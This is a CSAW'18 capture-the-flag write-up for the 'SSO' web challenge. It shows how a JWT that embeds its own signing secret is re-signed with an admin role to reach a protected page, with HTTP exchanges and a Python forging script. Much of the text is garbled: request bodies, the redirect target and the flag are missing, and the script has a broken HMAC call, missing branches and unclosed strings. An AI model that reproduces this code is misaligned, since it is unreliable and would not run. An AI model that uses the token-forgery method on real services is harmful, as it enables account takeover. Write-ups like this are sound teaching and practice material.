CSAW'18 CTF Qualification - Web (100 pts).

CSAW’18 CTF Qualification: SSO

Event Challenge Category Points Solves
CSAW’18 CTF Qualification SSO Web 100 200


Don’t you love undocumented APIs

Be the admin you were always meant to be


This challenge consists in the analysis of an authentication flow based on the OAuth2.0 protocol (see RFC-6749 and RFC-6750).

The task was not that complex, it was only a matter of careful analysis of RFCs in order to solve the challenge.


By reading the description of this challenge, we are informed that the goal of the challenge will be to impersonate an administrator.

Let’s browse the first web page:

<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
<a href="/protected">.</a>
Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
POST /oauth2/token
POST /oauth2/authorize form-data TODO: make a form for this route

At first glance, the goal of the challenge is to use the OAuth2.0 API in order to gain access to the /protected web page.

By reading some RFCs related to the OAuth2 protocol, we quickly understand the role of the two endpoints:

  • /oauth2/authorize: allows the client to make an Authorization Request by passing the following parameters:
    • response_type (required): the value must be set to code;
    • redirect_uri (required): the absolute URI that will be passed to the redirection endpoint.
  • /oauth2/token: allows the client to make an Access Token Request by passing the following parameters:
    • grant_type (required): the value must be set to authorization_code;
    • code (required): the authorization code received from the authorization server;
    • redirect_uri (required): the absolute URI that will be passed to the redirection endpoint.

As mentioned in the comments of the first web page, the OAuth authorization process has not been automated, we will have to manage the flow manually…

Using Burp Suite, let’s check manually the authentication flow process!

First, we need to make the Authorization Request:

POST /oauth2/authorize HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 70


HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
Content-Length: 547
Date: Sun, 16 Sep 2018 19:46:00 GMT
Connection: keep-alive

Redirecting to <a href=";state=">;state=</a>.

Ok, let’s grab the authorization code and send the Access Token Request:

POST /oauth2/token HTTP/1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 290


HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 209
Date: Sun, 16 Sep 2018 19:46:14 GMT
Connection: close


We just obtained a JWT access token, let’s analyze it quickly using

    "header": {
        "alg": "HS256",
        "typ": "JWT"
    "payload": {
        "type": "user",
        "secret": "ufoundme!",
        "iat": 1537127174,
        "exp": 1537127774
    "signature": ...

Now that we’ve successfully obtained an access token that is required to make a protected resource request, we’ve to gain admin access.

After few tries, we finally understood that the secret entry was a hint to generate a new valid JWT token using the following operation:

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

Let’s implement this algorithm with Python:

#!/usr/bin/env python3
# -*- coding: utf8 -*-

import base64
import time
import hashlib
import hmac
import json
import sys

from collections import OrderedDict

def dump_tokens(jwt):
    p1, p2, p3 = jwt.split('.', 3)

    header = decode_token(p1)
    payload = decode_token(p2)

    return header, payload

def decode_token(token):
    token_len = len(token)
    padded_token = token.ljust(token_len + (token_len % 4), '=')
    dict_ = json.loads(base64.b64decode(padded_token), object_pairs_hook=OrderedDict)

    return dict_

def base64_encode(data):
    return base64.b64encode(data).decode().strip('=')

def encode_token(dict_):
    json_data = json.dumps(dict_, separators=(',', ':')).encode()
    token = base64_encode(json_data)

    return token

def sign_token(header, payload, secret):
    jwt = encode_token(header) + '.'  # header
    jwt += encode_token(payload) + '.'  # payload
    signature = base64_encode(, jwt[:-1].encode(), hashlib.sha256).digest())
    signature = signature.replace('/', '_').replace('+', '-')
    jwt += signature
    return jwt

if len(sys.argv) < 1:
    print(f'Usage {sys.argv[0]} <jwt>')
    header, payload = dump_tokens(sys.argv[1])  # get original JWT as dict

    print(f'''Original JWT values:
    * header: {dict(header)}
    * payload: {dict(payload)}

    new_header = header
    new_payload = payload

    # Update user type
    new_payload['type'] = 'admin'

    # Update expiration time
    unix_ts = int(time.time())
    flag_window = 600
    new_payload['iat'] = unix_ts
    new_payload['exp'] = unix_ts + flag_window

    print(f'''New JWT values:
    * header: {dict(header)}
    * payload: {dict(payload)}

    # Generate new JWT (signature)
    new_jwt = sign_token(header, payload, payload['secret'])

    print(f'New signed JWT: {new_jwt}')

Generate a new JWT:

python3 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzEyNzE3NCwiZXhwIjoxNTM3MTI3Nzc0fQ.T--PNhyy18uJRI4Kh7PIV--Kv55Q3QmLmb03p28JCcA


Original JWT values:
    * header: {'alg': 'HS256', 'typ': 'JWT'}
    * payload: {'type': 'user', 'secret': 'ufoundme!', 'iat': 1537127174, 'exp': 1537127774}

New JWT values:
    * header: {'alg': 'HS256', 'typ': 'JWT'}
    * payload: {'type': 'admin', 'secret': 'ufoundme!', 'iat': 1537128195, 'exp': 1537128795}

New signed JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcxMjgxOTUsImV4cCI6MTUzNzEyODc5NX0.scBRG2vZoiZna9pFs0lenss-ZwPwFXCoWgU_nHBaYrM

Now let’s send the final protected resource request:

GET /protected HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcxMjgxOTUsImV4cCI6MTUzNzEyODc5NX0.scBRG2vZoiZna9pFs0lenss-ZwPwFXCoWgU_nHBaYrM
Connection: close

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 127
Date: Sun, 16 Sep 2018 20:04:13 GMT
Connection: close


Final flag:


Creased & DrStache